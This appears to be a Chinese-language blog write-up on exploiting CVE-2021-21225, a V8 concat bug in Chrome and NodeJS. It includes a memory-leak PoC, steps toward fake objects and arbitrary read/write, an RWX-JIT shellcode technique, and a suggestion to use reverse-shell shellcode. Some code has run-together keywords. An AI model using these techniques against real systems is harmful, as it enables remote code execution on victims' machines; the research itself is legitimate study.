第七个研究的是CVE-2021-21225,其chrome的bug编号为:1195977[1]
受影响的Chrome最高版本为:90.0.4430.72
受影响的V8最高版本为:9.0.257.17
在chrome的bugs中也有该漏洞的exp和poc。
搭建环境
一键编译相关环境:
$ ./build.sh 9.0.257.17
漏洞分析
本次分析的漏洞,和之前研究过的有很大的不同,PoC如下:
classLeakyextendsFloat64Array{}let u32 = new Leaky (1000);u32.__defineSetter__('length', function() {});classMyArrayextendsArray{ static get [Symbol.species]() { returnfunction() { return u32; } };}var w = new MyArray(300);w.fill(1.1);delete w[1];Array.prototype[1] = {valueOf: function() { w.length = 1; gc(); deleteArray.prototype[1]; return1.1;}};var c = Array.prototype.concat.call(w);for (var i = 0; i < 32; i++) {print(c[i]);}
其中gc函数需要运行d8的时候加上--expose-gc参数,才能调用。
该PoC的效果很明显,是内存泄漏,在变量w后再定义其他变量,比如var c = [1.1,2.2],那么可以把变量c的信息给泄漏出来。
发现该漏洞的研究人员也写了相关的paper:
https://tiszka.com/blog/CVE_2021_21225.html?utm_source=bengtan.com/interesting-things/018
https://tiszka.com/blog/CVE_2021_21225_exploit.html
漏洞出现在concat函数上,而且也不是新类型的漏洞,concat函数之前的漏洞编号为:CVE-2016-1646和CVE-2017-5030,详细的可以去看上面的第一篇文章。
这里就说说我编写exp的过程,现有的exp已经可以泄漏变量信息了,但是还不够,要想rce,还得需要能控制变量的map,上面PoC的效果只是把变量w当成长度为1000的数组,然后赋值给变量c,在正常的程序中,变量w的长度已经被我们改成1了,所以根本没法修改后续值,只有concat函数认为变量w的长度为1000。而修改变量c的值,也根本影响不到其他变量,因为变量c本身就是长度为1000的合法变量。
在上面的第二篇文章中,提供了这么一种方案:
在上述的PoC中,数组w的所有元素都被1.1填充了,所以w的map为PACKED_DOUBLE_ELEMENTS类型。
如果我们把变量w的map改为HOLEY_ELEMENTS类型,那么concat函数在操作的时候,会把w的元素都当成Object处理。
这样,我们在变量w后面再定义一个变量: padding_obj = new Uint32Array(10);,该变量填充进我们可控的内存地址,这样就可以构建一个fake_obj。
有了fake_obj以后,就能任意读写了,就可以按照套路来写exp了。
但是直接这么写,可能会遇到一些问题,程序会crash,因为在漏洞触发后,会把后续的变量都当成对象,如果遇到一个不合法的对象,就报错了。
在上面第二篇paper中,提供了一种方法,在触发漏洞的函数中,修改了Object的原型链:
Object.prototype.valueOf = function() { corrupted_array = this; deleteObject.prototype.valueOf; // clean up this valueOfthrow'bailout';}
成功触发了以后,获取到我们构造的fake_obj,然后抛出异常,然后再捕获到该异常,这样程序就不会崩溃了。
垃圾回收
上面poc中的gc函数需要加上--expose-gc参数,那么没有这个参数的环境下要怎么办呢?上面第二篇文章中给出了一个方案:
functiongc() { newArrayBuffer(0x7fe00000);}
另一种得到RWX内存的方案
在之前的文章中,我们都是采用WASM的方式获取一个RWX内存区域,但是在上面的第二篇文章中,给了另一种方案。
如果heap->write_protect_code_memory为0,那么JIT优化的代码会生成RWX内存区域来存放。
示例如下:
functionjit(a) { return a[0];}write64(write_protect_code_memory_, 0);for (var i = 0; i < 200000; i++) { jit([0]);}shellcode = [xxxx]copy_shellcode_rwx(shellcode, jit_turbo_code_addr)jit([0])
其中write_protect_code_memory_地址一般在堆的开头,可以通过gdb来搜索该地址。
jit_turbo_code_addr地址的偏移也可以通过gdb调试来获取。
NodeJS的利用
经过研究,该漏洞能影响到NodeJS 16.0.0。
来编写NodeJS的exp的过程中需要注意几点:
nodejs没开启地址压缩。
使用%DebugPrint或者%System会影响内存布局,影响利用。
最后利用的shellcode,会发现没有输出,这是因为执行shellcode的文件描述符不对,这个时候可以修改shellcode为reverse shell或者bind shell。